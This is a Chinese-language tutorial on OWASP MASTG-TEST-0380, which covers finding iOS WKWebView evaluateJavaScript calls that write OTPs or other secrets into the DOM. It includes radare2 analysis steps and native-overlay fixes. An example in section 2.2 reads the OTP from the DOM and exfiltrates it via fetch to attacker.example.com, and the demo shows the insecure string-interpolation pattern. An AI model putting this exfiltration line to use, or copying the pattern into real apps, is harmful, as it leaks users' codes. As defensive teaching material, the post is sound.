news 2026/10/9 2:38:08

MASTG 移动安全测试:检测 WKWebView 中 evaluateJavaScript 向 DOM 注入敏感数据(MASTG-TEST-0380)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
MASTG 移动安全测试:检测 WKWebView 中 evaluateJavaScript 向 DOM 注入敏感数据(MASTG-TEST-0380)
  • 文档
  • 教程
  • 网络安全

【免费下载链接】mastg

The OWASP Mobile Application Security Testing Guide (MASTG) is a comprehensive manual for mobile app security testing and reverse engineering. It describes technical processes for verifying the OWASP Mobile Security Weakness Enumeration (MASWE) weaknesses, which are in alignment with the OWASP MASVS.

项目地址:https://gitcode.com/gh_mirrors/ow/mastg
点击查看免费下载

本文基于 OWASP Mobile Application Security Testing Guide(MASTG)仓库中的测试用例 MASTG-TEST-0380 编写,系统讲解"WKWebView 通过evaluateJavaScript向 DOM 写入敏感数据"这一弱点的成因、静态检测方法、逐调用点验证流程,并结合仓库中的失败样例与最佳实践给出完整的源码级修复方案。读者读完可掌握:如何在 iOS 应用二进制中定位evaluateJavaScript:completionHandler:调用点、如何判定其是否将敏感数据(OTP、账户余额、凭据等)写入 DOM,以及如何用原生视图叠加 +WKContentWorld隔离的方式根除该类泄露。

一、测试用例定位:MASTG-TEST-0380 在 MASTG 框架中的位置

MASTG-TEST-0380 是 MASTG 测试库(tests-beta/)中面向 iOS 平台、MASVS-PLATFORM 类别的静态代码审计用例,其元数据如下:

字段值
用例 IDMASTG-TEST-0380
平台ios
标题References toevaluateJavaScriptWriting Sensitive Data into WebView DOM
测试类型static, code, manual
关联弱点(MASWE)MASWE-0034(WebView 相关弱点族)
关联最佳实践MASTG-BEST-0059(在 WebView 之上以原生视图渲染敏感 UI)
关联知识点MASTG-KNOW-0076(iOS WebView 知识)、MASTG-KNOW-0139(WKContentWorld 知识)

该用例的检测对象是WKWebView的evaluateJavaScript(_:completionHandler:)API。在 MASTG 的 iOS WebView 弱点检测矩阵中,它与 MASTG-TEST-0376(原生桥接 API 暴露敏感功能)、MASTG-TEST-0377(evaluateJavaScript被用作WKScriptMessageHandler的回调回复通道)、MASTG-TEST-0333(WebView 文件读取权限过宽)共同构成对 iOS WebView 攻击面的系统性覆盖。本文聚焦 MASTG-TEST-0380 所述的"数据流入 DOM"场景。

二、漏洞背景:为什么向 DOM 注入敏感数据是危险的

2.1 常见但不安全的注入模式

当一个WKWebView应用需要展示敏感信息(如一次性密码 OTP、账户余额、支付明细)时,一种常见做法是使用evaluateJavaScript:completionHandler:执行一段 JavaScript,将数据直接赋给 DOM 元素属性——通常是innerHTML、textContent或value。例如:

// 危险:OTP 被写入 DOM 的 #otp-display 元素 webView.evaluateJavaScript( "document.getElementById('otp-display').textContent = '\(otpValue)'", completionHandler: nil )

从 MASTG-KNOW-0076 可知,iOS WebView 本质上是"应用内浏览器组件",它会执行 JavaScript 并渲染 HTML。因此,任何能在该 WebView 中运行脚本的代码(包括被注入的 XSS 载荷、攻击者可控页面内容、被劫持的第三方脚本)都拥有与页面脚本同等的 DOM 访问能力。数据一旦进入 DOM,就脱离了原生代码的控制边界,页面上的任何脚本都可以在任意时刻通过查询元素读取它。

2.2 攻击者如何窃取数据

原文档给出了一个最小化攻击示例:攻击者只需要从 DOM 中读取注入的 OTP,然后通过fetch外传:

// 攻击者从 DOM 读取注入的 OTP const otp = document.getElementById('otp-display').textContent; fetch("https://attacker.example.com/?otp=" + otp);

值得强调的是,攻击者"能够执行 JavaScript"这一前置条件并不苛刻。从源码结构看,MASTG 知识库 MASTG-KNOW-0076 中列举的注入向量包括:XSS、不安全内容加载、深链打开不可信内容、暴露的 JavaScript 桥接等。一旦这些条件满足,读取 DOM 中的敏感数据不需要任何原生桥接配合——这是本用例与 MASTG-TEST-0376(桥接 API 暴露)的关键区别:即使应用完全没有注册任何消息处理器,只要敏感数据被写进 DOM,就仍然可被页面脚本读取。

2.3 安全的替代方案

原文档明确指出安全替代路径:使用原生 UIKit 或 SwiftUI 视图叠加在 WebView 之上展示敏感信息。应用只通过隔离的WKContentWorld脚本从 DOM 读取布局坐标,然后在坐标位置渲染原生视图。敏感值从不进入 DOM,因此页面 JavaScript 无法触达。该方案的具体实现细节与代码示例,将在本文第六节结合仓库最佳实践展开。

三、测试判定标准:何时失败、何时通过

MASTG-TEST-0380 的判定逻辑清晰而严格:

  • 失败条件:evaluateJavaScript:completionHandler:被用于将敏感数据赋值给 DOM 元素属性。
  • 通过条件:应用要么不使用evaluateJavaScript注入敏感数据,要么仅注入非敏感的静态占位符/UI 文案。

由于该测试类型包含manual,单靠静态匹配 API 引用不足以定案,原文档要求执行"进一步验证"(Further Validation Required),即使用 MASTG-TECH-0076 逐点审查每个被报告的调用点,确认两件事:

  1. JavaScript 字符串是否对 DOM 元素属性赋值:目标属性为innerHTML、textContent、innerText或value之一;
  2. 被赋值的值是否源自原生敏感数据:例如一次性密码、账号、凭据等,且不是静态占位符或非敏感 UI 字符串。

这意味着审计报告必须区分两类看似相同实则不同的调用:textContent = 'OTP: 482910'(敏感,失败)与textContent = 'loading...'(占位符,通过)。判定依据不是 API 本身,而是注入内容的来源与性质。

四、分步执行:在 iOS 二进制中定位 evaluateJavaScript 调用点

MASTG-TEST-0380 的执行流程只有两个静态分析步骤,下面结合仓库技术文档给出完整操作细节。

4.1 第一步:提取应用二进制(MASTG-TECH-0058)

依据 MASTG-TECH-0058(Exploring the App Package),首先获取目标应用的 IPA 包,然后用标准 ZIP 工具解压:

unzip YourApp.ipa

解压后得到Payload/目录,内含 Application Bundle(.app)。需要关注的产物包括:

  • Info.plist:应用配置信息(bundle ID、版本、显示名等),也可用plutil -convert xml1 Info.plist(macOS)或plistutil -i Info.plist -o Info_xml.plist(Linux)将二进制 plist 转为 XML 便于阅读;
  • Frameworks/:应用的动态库(.dylib / .framework),若 App 以 Swift Package 或静态库形式引入 WebKit 相关代码,相关符号会直接编入主二进制;
  • 主二进制:与应用 bundle 同名、无扩展名的可执行文件(例如 MASTG-DEMO-0146 样例中的Payload/MASTestApp.app/MASTestApp)。

需要注意的是,iOS 二进制只能反汇编而不能像 Android 那样反编译回高级语言,因此后续查找与验证均基于符号、字符串与汇编指令进行。

4.2 第二步:在二进制中检索目标 API(MASTG-TECH-0066)

依据 MASTG-TECH-0066(Static Analysis on iOS),推荐使用 radare2(r2,即 @MASTG-TOOL-0073 对应的工具)进行检索。核心思路是:evaluateJavaScript:completionHandler:在二进制中以selector 字符串形式存在(Objective-C 消息选择器),可用字符串与交叉引用(xref)两条路径定位。

路径一:字符串检索。用iz列出二进制中的所有字符串并用~过滤:

iz~evaluateJavaScript

若字符串被加密或动态拼接,改用/直接在原始字节中搜索:

/ evaluateJavaScript

路径二:交叉引用定位调用点。先为字符串建立 flag,再用axt查找交叉引用。MASTG-TEST-0380 的仓库样例(见下文第五节)演示了这一过程:反汇编输出output.txt中可以看到 selector 字符串str.evaluateJavaScript:completionHandler:位于0x10000b868,其数据引用出现在sym.MASTestApp.MastgTest.showWebView函数的0x100004978处,随后在0x100004988通过objc_msgSend完成实际调用。

若目标函数未出现在afl函数列表中(如动态解析的符号),可按 MASTG-TECH-0066 的建议改用 flag(f)+ 字符串搜索(/、iz~)+ 交叉引用(axt)组合定位,避免遗漏被混淆或动态解析的调用点。

4.3 观察结果:产出调用点清单

原文档对 Observation 阶段的要求是:输出应包含所有evaluateJavaScript:completionHandler:调用位置的列表。列表中的每一项都应给出函数名、地址与上下文,作为后续人工验证的输入。

五、仓库失败样例:MASTG-DEMO-0146 的源码级剖析

MASTG 仓库在 demos/ios/MASVS-PLATFORM/MASTG-DEMO-0146/ 提供了针对本测试用例的失败样例(kind: fail),是理解"证据链如何闭环"的最佳教材。

5.1 源码视角:数据如何进入 DOM

MASTG-DEMO-0146 的 Swift 源码 MastgTest.swift 演示了完整过程:先通过loadHTMLString加载一个含占位<div id="otp-display">的页面,随后把硬编码的 OTP"482910"用textContent赋值注入 DOM:

// FAIL: [MASTG-TEST-0380] The OTP is written into the DOM via textContent. // Any page script can read it: document.getElementById('otp-display').textContent webView.evaluateJavaScript( "document.getElementById('otp-display').textContent = '\(MastgTest.secretOtp)'", completionHandler: nil )

在真实应用中,secretOtp会来自原生数据源(认证服务器或后端 API),并像这里一样被插值进 JavaScript 字符串——注入后页面脚本均可读取。样例源码中同时以注释形式给出了 PASS 替代实现:用原生UILabel渲染 OTP 并叠加到视图上,数据始终留在原生层。

5.2 二进制视角:反汇编证据链

样例附带的 output.txt(由 radare2 脚本 webview_sensitive_data_exposure.r2 生成)展示了完整证据链:

  1. 0x10000b868:selector 字符串evaluateJavaScript:completionHandler:;
  2. 0x100004910–0x100004958:构造 JavaScript 字符串的三段拼接——字符串字面量"document.getElementById('otp-display').textContent = '"(位于0x10000b570)+ OTP 值(48、29、10三个立即数对应"482910")+ 收尾单引号;
  3. 0x100004988:通过objc_msgSend以evaluateJavaScript:completionHandler:selector 分发,OTP 由此写入#otp-display。

这份反汇编输出完美对应原文档"进一步验证"的三个判定要素:定位到调用点(0x100004988)→ 确认赋值目标是 DOM 属性(textContent)→ 确认值是敏感数据(OTP 482910)。审计人员在实际测试中应参照此模式形成同等质量的证据链。

六、安全修复:原生视图叠加 + WKContentWorld 隔离

原文档给出的安全替代方案是"用原生视图展示敏感数据,仅从 DOM 读取坐标"。MASTG 最佳实践库为该方案提供了三个配套实践,共同构成完整修复栈。

6.1 渲染层:敏感 UI 原生视图化(MASTG-BEST-0059)

MASTG-BEST-0059 指出:当 WKWebView 需要呈现敏感 UI(如凭据选择器、自动填充建议、支付确认)时,将其渲染为页面内 HTML 元素会暴露给页面上的任何 JavaScript;攻击者不仅能读取,还能修改或视觉伪造这些元素。正确做法是:

  1. 用隔离脚本读取目标 HTML 元素的坐标(如getBoundingClientRect()返回的x/y/width/height);
  2. 在 WebView 之上、相同坐标处叠加原生视图(UILabel、UITextField、UIButton等)展示数据;
  3. 数据始终留在原生层,页面 JavaScript 完全无法访问。

6.2 隔离层:用 WKContentWorld 保护坐标读取脚本(MASTG-BEST-0061)

MASTG-BEST-0061 解释了为什么坐标读取脚本必须运行在隔离 world 中。默认情况下,evaluateJavaScript(_:completionHandler:)在.pageworld 中运行,与页面 JavaScript 共享所有内置原型——恶意页面脚本可以在检测代码执行前覆写document.querySelector、Element.prototype.getAttribute等原生函数,让检测脚本拿到被篡改的结果。修复方式是使用 iOS 14 引入的 content-world 变体:

let appWorld = WKContentWorld.world(withName: "AppWorld") // 不安全:运行在 page world,原型链与页面 JS 共享 webView.evaluateJavaScript("document.getElementById('balance').textContent") { value, error in process(value) } // 安全:运行在隔离 world,原型链独立 webView.evaluateJavaScript("document.getElementById('balance').textContent", in: nil, in: appWorld) { result in if case .success(let value) = result { process(value) } }

在隔离 world 中,即使页面先执行了document.getElementById = () => fakeElement,也不会影响应用脚本的绑定。同时,MASTG-BEST-0061 提醒:隔离只保护检测代码本身不被劫持,并不能阻止页面在 DOM 中放置误导内容,因此所有从 DOM 读出的值都应被视为不可信输入,在原生侧验证后再用于安全敏感操作。

6.3 输入层:敏感文本输入的原生化(MASTG-BEST-0060)

当涉及密码输入等交互场景时,MASTG-BEST-0060 提供了完整的原生输入方案:在用户聚焦敏感输入框的瞬间,用隔离 world 的WKUserScript监听focus事件并上报元素坐标,随后在 WebView 上叠加原生UITextField(配置isSecureTextEntry = true),用户输入永不进入 DOM:

// 隔离脚本:仅上报坐标,不传输任何敏感内容 let script = WKUserScript(source: """ document.querySelectorAll('input[type="password"], input[data-sensitive]').forEach(el => { el.addEventListener('focus', () => { const r = el.getBoundingClientRect(); window.webkit.messageHandlers.secureInput.postMessage({ x: r.left, y: r.top, width: r.width, height: r.height }); el.blur(); // 阻止系统键盘为这个字段弹出 }); }); """, injectionTime: .atDocumentStart, forMainFrameOnly: true, in: appWorld) // 原生侧:在报告位置叠加安全输入框 func userContentController(_ ucc: WKUserContentController, didReceive message: WKScriptMessage) { guard message.name == "secureInput", let body = message.body as? [String: Double] else { return } let frame = CGRect(x: body["x"] ?? 0, y: body["y"] ?? 0, width: body["width"] ?? 200, height: body["height"] ?? 44) let secureField = UITextField(frame: frame) secureField.isSecureTextEntry = true secureField.becomeFirstResponder() webView.superview?.addSubview(secureField) }

用户确认输入后,值直接从 Swift 提交到后端 API 或 Keychain。MASTG-BEST-0060 特别警告:即使从隔离 world 将值写回密码框的.value,页面脚本依然可读——若提交流程依赖页面表单,应彻底绕过 HTML 表单、从原生代码直接提交凭据,而不是把值回写 DOM。

6.4 回调层:用 WKScriptMessageHandlerWithReply 替代 evaluateJavaScript 回复(MASTG-BEST-0062)

虽然 MASTG-TEST-0380 针对的是"数据写入 DOM",但与之相邻的 MASTG-TEST-0377 检测的是同一 API 的另一种危险用法:在WKScriptMessageHandler中调用evaluateJavaScript执行window.receiveData(...)之类的全局回调,把返回数据注入页面上下文——攻击者只需在回调触发前覆写该全局函数即可截获数据。MASTG-BEST-0062 的修复是改用WKScriptMessageHandlerWithReply(iOS 14+),将回复直接投递给发起调用的 JavaScriptPromise,完全绕过页面全局作用域:

// 避免:返回值被注入 page-world 的全局函数 func userContentController(_ ucc: WKUserContentController, didReceive message: WKScriptMessage) { let secret = fetchSecret() let js = "window.receiveSecret('\(secret)')" message.webView?.evaluateJavaScript(js, completionHandler: nil) } // 推荐:回复直达调用方 world 中 await 的 Promise func userContentController(_ ucc: WKUserContentController, didReceive message: WKScriptMessage, replyHandler: @escaping (Any?, String?) -> Void) { let secret = fetchSecret() replyHandler(secret, nil) }
// 无需全局回调,回复作为 Promise 结果到达 const secret = await window.webkit.messageHandlers.bridge.postMessage({action: "getSecret"});

6.5 原理支撑:WKContentWorld 的隔离边界(MASTG-KNOW-0139)

上述修复反复依赖WKContentWorld,其机制由 MASTG-KNOW-0139 完整定义。要点如下:

  • 三种可用 world:.page(与页面共享作用域)、.defaultClient(预定义的隔离 world)、自定义 world(WKContentWorld.world(name:)创建,可多个并存、彼此完全隔离);
  • 隔离的内容:每个 world 拥有独立的全局作用域和独立的原型链副本(Array.prototype、Object.prototype等),一方的修改不影响另一方;
  • 共享的内容:所有 world 共享同一个 DOM——document.getElementById(...)返回的是同一批元素对象;一个 world 修改.textContent、.value、.style会立即被其他 world 和页面看到;DOM 事件也会跨 world 派发。

这一"作用域隔离、DOM 共享"的边界正是本节所有修复方案的设计根基:坐标读取脚本放在隔离 world 中免受劫持,而数据本身放在原生视图里、根本不进 DOM,两者结合才能既安全又保持页面观感。

七、在 WebView 弱点测试矩阵中横向对比

将 MASTG-TEST-0380 与同一弱点族(MASWE-0034)的其他 iOS 测试用例对比,可更准确地把握检测边界:

测试用例检测对象典型失败形态对应最佳实践
MASTG-TEST-0380evaluateJavaScript写入 DOM敏感数据(OTP/余额/凭据)被赋给textContent/innerHTML/valueMASTG-BEST-0059
MASTG-TEST-0377evaluateJavaScript作为桥回复通道在didReceive中执行全局回调返回敏感数据MASTG-BEST-0062
MASTG-TEST-0376WKUserContentController.add(_:name:)桥接桥处理器暴露凭据读取、特权操作且无输入校验MASTG-BEST-0058
MASTG-TEST-0333loadFileURL(_:allowingReadAccessTo:)readAccess 权限过宽,触及 Documents 目录等MASTG-BEST-0033

关键差异提醒:MASTG-TEST-0380 的泄露不依赖任何桥接——即使应用没有注册任何 message handler,只要敏感数据进了 DOM 就可用fetch外传。因此实践中应把本用例的检查结果与 0376/0377 分开评估,避免因"没有桥接"而误判为安全。

八、落地自检清单

完成 MASTG-TEST-0380 测试后,可对照以下清单确认覆盖完整:

  1. 是否已解压 IPA 并定位主二进制与全部动态库(MASTG-TECH-0058)?
  2. 是否用字符串 + 交叉引用两种方式检索了evaluateJavaScript:completionHandler:(MASTG-TECH-0066),并排除动态解析导致漏报?
  3. 是否逐调用点审查(MASTG-TECH-0076),确认赋值目标属性为innerHTML/textContent/innerText/value之一?
  4. 是否确认被赋值数据源自原生敏感数据源(OTP、账号、凭据),且排除静态占位符与普通 UI 文案?
  5. 对确认失败的应用,是否已评估修复方案(MASTG-BEST-0059 原生视图叠加、MASTG-BEST-0061 world 隔离、MASTG-BEST-0060 原生输入、MASTG-BEST-0062 安全回复),并核对修复后敏感数据是否彻底不再进入 DOM?

参考样例:MASTG-DEMO-0146(失败样例,含 Swift 源码、radare2 脚本与反汇编输出,可直接作为审计报告的取证模板)。

  • 文档
  • 教程
  • 网络安全

【免费下载链接】mastg

The OWASP Mobile Application Security Testing Guide (MASTG) is a comprehensive manual for mobile app security testing and reverse engineering. It describes technical processes for verifying the OWASP Mobile Security Weakness Enumeration (MASWE) weaknesses, which are in alignment with the OWASP MASVS.

项目地址:https://gitcode.com/gh_mirrors/ow/mastg
点击查看免费下载
上一篇:eSearch 高级图片编辑器(Super Editor)完整指南:圆角、渐变背景、阴影与魔法消除的装饰加工实战
下一篇:Daft 分区与批处理(Partitioning and Batching)完全指南:控制并行度与内存的两把钥匙

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/9 2:37:11

Linux磁盘分区与NAT网络配置:从GPT/LVM到iptables/WSL实战

我干过几年服务器运维和嵌入式Linux开发&#xff0c;最常被刚入行的朋友问到两件事&#xff1a;磁盘怎么分才合理&#xff0c;虚拟机NAT网络怎么配都不通。这两个问题看起来基础&#xff0c;实际踩坑极多。比如新装了Ubuntu&#xff0c;结果/home空间不够用&#xff1b;又比如V…

作者头像 李华
网站建设 2026/10/9 2:37:03

DM-CK6025B是什么模块?杰理 AC2005B 芯片 DEMO 测试板怎么样?

# 杰理AC2005B芯片DEMO测试板开箱介绍&#xff1a;省晶振、13dBm、Auracast实测板做蓝牙方案选型的时候&#xff0c;光看规格书是不够的&#xff0c;必须拿DEMO板实际测一测。基于杰理AC2005B做的这款DEMO测试板&#xff0c;我们拿到手用了一段时间&#xff0c;今天把它的配置、…

作者头像 李华
网站建设 2026/10/9 2:36:26

自定义 robbyrussell 主题:打造高效 zsh 终端提示符

默认的 robbyrussell 主题&#xff0c;算是 oh-my-zsh 里很多人入坑的第一个主题。绿色的用户名、蓝色的路径、括号里的 git 分支&#xff0c;简单干净&#xff0c;启动也快。我用它当主力主题用了很长一段时间&#xff0c;一直没换&#xff0c;原因就是它足够轻量&#xff0c;…

作者头像 李华
网站建设 2026/10/9 2:36:23

基于SpringBoot+Vue的健身管理系统-附源码

温馨提示&#xff1a;本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;本人主页置顶文章(点我)开头有 CSDN 平台…

作者头像 李华
网站建设 2026/10/9 2:35:54

必应输入法纯净体验全攻略:从下载安装到设置排错

装输入法这件事&#xff0c;很多人的第一反应是&#xff1a;能用就行。但这几年“能用就行”反而变成了三个字&#xff1a;不敢用。右键一个没有名气的输入法&#xff0c;菜单里藏着好几个推广位&#xff1b;装完一个输入法&#xff0c;浏览器主页悄悄被改&#xff1b;多打几天…

作者头像 李华